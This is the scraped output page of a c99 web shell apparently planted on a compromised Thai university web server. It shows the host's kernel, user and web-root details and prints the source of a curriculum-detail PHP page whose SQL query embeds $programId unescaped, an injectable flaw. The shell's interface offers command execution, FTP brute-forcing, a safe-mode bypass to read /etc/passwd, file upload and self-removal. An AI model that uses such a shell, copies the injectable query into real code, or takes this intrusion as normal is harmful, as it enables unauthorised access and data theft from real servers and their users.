!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ProgramDetail.php (5.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./includes/FunctionDB.php");
include(
"./includes/Function.php");

ConnectDB();

$sql " SELECT * FROM  Program  WHERE  programId='$programId' ";
$result mysql_query($sql) or die("Error".mysql_error());
$row mysql_fetch_array($result);

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>ข้อมูลฝ่ายวิชาการ - ข้อมูลหลักสูตรที่เปิดสอน</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="./css/default.css" rel="stylesheet" type="text/css" />
</head>

<body bgcolor="#FFFFFF" topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="650" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="10"></td>
  </tr>
</table>
<table width="650" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><fieldset>
    <table width="99%" border="0" align="center" cellpadding="1" cellspacing="1">
      <tr bgcolor="#BFEBFF">
        <td height="5" colspan="2" bgcolor="#FFFFFF"></td>
      </tr>
      <tr bgcolor="#BFEBFF">
        <td height="30" colspan="2" align="center" bgcolor="#F0F0F0" class="PATRON11"><font color="#000000" face="Tahoma">หลักสูตรที่เปิดสอนที่เปิดสอน</font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td height="10" bgcolor="#FFFFFF"></td>
        <td height="10" bgcolor="#FFFFFF"></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td width="40%" align="left" bgcolor="#FFFFFF"><span>ชื่อหลักสูตร(ไทย)</span></td>
        <td width="60%" align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['programName']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>ชื่อหลักสูตร(อังกฤษ)</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['programNameEng']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span><font color="#000000">ชื่อปริญญา </font></span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['programName']; ?>&nbsp;<?php echo $row['Short_Thai']; ?><?php echo $row['Degree_Eng']; ?>&nbsp;&nbsp;<?php echo $row['Short_Eng']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>ชื่อย่อหลักสูตร (ไทย)</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['programAbbr']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>ชื่อย่อหลักสูตร (อังกฤษ)</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['programAbbrEng']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span><font color="#000000">ปีที่ปรับปรุงหลักสูตร</font></span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['programYear']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>หน่วยกิตรวมขั้นต่ำ</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['creditTotal']; ?> <font color="#000000">หน่วย</font> </font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>คะแนนเฉลี่ยสะสมตลอดหลักสูตร</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['gradePointMin']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>จำนวนปีสูงสุดที่เรียนได้</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['studyYearMax']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>จำนวนปีที่เรียนตามปกติ</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['studyYear']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>จำนวนภาคการศึกษาต่อปี</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['semesterPerYear']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span>คุณสมบัติผู้เข้ารับการศึกษา</span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo $row['Spec']; ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td align="left" bgcolor="#FFFFFF"><span><font color="#000000"> รายละเอียด/โครงสร้าง/ปรัชญา/วัตถุประสงค์ </font></span></td>
        <td align="left" bgcolor="#FFFFFF"><font color="#006699" size="2" face="Tahoma"><?php echo htmlspecialchars_decodenl2br$row['Course_desc'] ) ); ?></font></td>
      </tr>
      <tr bgcolor="#F8F8F8">
        <td height="10" bgcolor="#FFFFFF"></td>
        <td height="10" bgcolor="#FFFFFF"></td>
      </tr>
    </table>
    </fieldset></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td align="center"><input type="button" name="Submit" value="ปิดหน้าต่าง" onClick="javascript:parent.close();" class="CURSOR-HAND" /></td>
  </tr>
</table>

</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0143 ]--